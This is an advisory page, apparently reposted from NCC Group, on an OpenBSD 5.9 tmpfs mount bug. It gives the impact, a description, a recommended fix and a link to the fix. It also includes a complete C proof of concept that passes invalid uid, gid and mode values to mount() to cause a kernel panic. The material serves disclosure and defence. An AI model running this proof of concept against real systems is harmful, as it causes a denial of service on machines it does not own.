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OpenBSD 5.9 kernel panic through the mount system call

Posted on 30 November -0001

<HTML><HEAD><TITLE>OpenBSD 5.9 kernel panic through the mount system call</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* * mount_panic.c * Demonstrate a panic through the mount system call. * * gcc -g mount_panic.c -o mount_panic */ #ifdef BUG_WRITEUP //--------------------------------------------------- Tmpfs mount with bad args can lead to a panic Impact: Root users or users on systems with kern.usermount set to true can trigger a kernel panic when mounting a tmpfs filesystem. Description: The tmpfs filesystem allows the mounting user to specify a username, a groupname or a device name for the root node of the filesystem. A user that specifies a value of VNOVAL for any of these fields will trigger an assert in tmpfs_alloc_node(): /* XXX pedro: we should check for UID_MAX and GID_MAX instead. */ KASSERT(uid != VNOVAL && gid != VNOVAL && mode != VNOVAL); This condition can only be triggered by users who are allowed to mount a tmpfs filesystem. Normally this is the root user, but if the kern.usernmount sysctl variable has been set to true, any user could trigger this panic. Reproduction: Run the attached mount_panic.c program. It will mount a tmpfs filesystem with invalid settings and will lead to a panic of "panic: kernel diagnostic assertion "uid != VNOVAL && gid != VNOVAL && mode != VNOVAL" failed". NCC Group was able to reproduce this issue on OpenBSD 5.9 release running amd64. Recommendation: Validate the args.ta_root_uid, args.ta_root_gid and args.ta_root_mode fields in tmpfs_mount() before calling tmpfs_alloc_node(). Return an error to the user when an invalid argument is detected. Reported: 2016-07-11 Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/tmpfs/tmpfs_vfsops.c.diff?r1=1.8&r2=1.9 #endif // BUG_WRITEUP --------------------------------------------------- #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/mount.h> #define VNOVAL (-1) int main(int argc, char **argv) { struct tmpfs_args args; int x; memset(&args, 0, sizeof args); args.ta_version = TMPFS_ARGS_VERSION; args.ta_root_uid = VNOVAL; args.ta_root_gid = VNOVAL; args.ta_root_mode = VNOVAL; x = mount("tmpfs", "/mnt", 0, &args); if(x == -1) perror("mount"); printf("no crash! "); return 0; } </BODY></HTML>

 

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